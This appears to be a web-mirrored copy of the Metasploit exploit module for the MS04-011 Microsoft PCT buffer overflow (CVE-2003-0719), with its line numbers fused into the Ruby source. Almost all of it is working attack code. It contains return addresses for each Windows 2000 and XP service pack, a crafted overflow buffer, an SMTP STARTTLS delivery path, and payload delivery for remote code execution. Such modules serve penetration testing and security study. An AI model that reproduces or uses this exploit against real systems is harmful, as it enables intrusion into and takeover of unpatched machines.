Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ssl/ms04_011_pct.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'MS04-011 Microsoft Private Communications Transport Overflow',13'Description' => %q{14This module exploits a buffer overflow in the Microsoft15Windows SSL PCT protocol stack. This code is based on Johnny16Cyberpunk's THC release and has been tested against Windows172000 and Windows XP. To use this module, specify the remote18port of any SSL service, or the port and protocol of an19application that uses SSL. The only application protocol20supported at this time is SMTP. You only have one chance to21select the correct target, if you are attacking IIS, you may22want to try one of the other exploits first (WebDAV). If23WebDAV does not work, this more than likely means that this24is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS255.1). Using the wrong target may not result in an immediate26crash of the remote system.27},28'Author' => [ 'hdm' ],29'License' => MSF_LICENSE,30'References' =>31[32[ 'CVE', '2003-0719'],33[ 'OSVDB', '5250'],34[ 'BID', '10116'],35[ 'MSB', 'MS04-011'],3637],38'Privileged' => true,39'DefaultOptions' =>40{41'EXITFUNC' => 'thread',42},43'Payload' =>44{45'Space' => 1800,46'BadChars' => "",47'StackAdjustment' => -3500,48},49'Platform' => 'win',50'Targets' =>51[52[53'Windows 2000 SP4',54{55'Platform' => 'win',56'Ret' => 0x67419ce8, # jmp [esp + 0x6c]57},58],59[60'Windows 2000 SP3',61{62'Platform' => 'win',63'Ret' => 0x67419e1d, # jmp [esp + 0x6c]64},65],66[67'Windows 2000 SP2',68{69'Platform' => 'win',70'Ret' => 0x6741a426, # jmp [esp + 0x6c]71},72],73[74'Windows 2000 SP1',75{76'Platform' => 'win',77'Ret' => 0x77e4f44d, # jmp [ebx + 0x14]78},79],80[81'Windows 2000 SP0',82{83'Platform' => 'win',84'Ret' => 0x7658a6cb, # jmp [ebx + 0x0e]85},86],87[88'Windows XP SP0',89{90'Platform' => 'win',91'Ret' => 0x0ffb7de9, # jmp [esp + 0x6c]92},93],94[95'Windows XP SP1',96{97'Platform' => 'win',98'Ret' => 0x0ffb832f, # jmp [esp + 0x6c]99},100],101],102'DisclosureDate' => '2004-04-13',103'DefaultTarget' => 0))104105register_options(106[107OptString.new('PROTO', [true, "The application protocol: raw or smtp", "raw"])108])109end110111def exploit112begin113connect114rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused => e115print_error("Cannot connect: #{e.message}")116return117end118119print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...")120121# This is a heap ptr to the ssl request122# ... and just happens to not die ...123# Thanks to CORE and Halvar124#125# 80620101 => and byte ptr [esi+1], 0x2126# bd00010001 => mov ebp, 0x1000100127# 0016 => add [esi], dl128# 8f8201000000 => pop [esi+1]129# eb0f => jmp short 11 to shellcode130131buf = "\x80\x66\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x86\x01\x00\x00\x00"+132"\xeb\x0f" + 'XXXXXXXXXXX' +133[target.ret ^ 0xffffffff].pack('V')+134payload.encoded135136# Connect to a SMTP service, call STARTTLS137if (datastore['PROTO'] == 'smtp')138begin139greeting = sock.get_once140rescue ::EOFError => e141print_error("Failed to receive data for the protocol greeting: #{e.message}")142return143end144145begin146sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n")147resp = sock.get_once148rescue ::Timeout::Error149print_error("Timedout while sending HELO")150return151rescue ::EOFError => e152print_error("Failed to receive a response for HELO: #{e.message}")153return154end155156begin157sock.put("STARTTLS\r\n")158resp = sock.get_once159rescue ::Timeout::Error160print_error("Timed out while sending STARTTLS")161return162rescue ::EOFError => e163print_error("Failed to receive a response for STARTTLS: #{e.message}")164return165end166167if (resp and resp !~ /^220/)168print_warning("Warning: this server may not support STARTTLS")169end170end171172173begin174sock.put(buf)175resp = sock.get_once176rescue ::Timeout::Error => e177print_error("Timed out while sending the malicious data")178return179rescue ::EOFError => e180print_error("Failed to receive a response after the malicious data: #{e.message}")181return182end183184if (resp == "\x00\x00\x01")185print_status("The response indicates that the PCT protocol is disabled")186end187188handler189disconnect190end191end192193194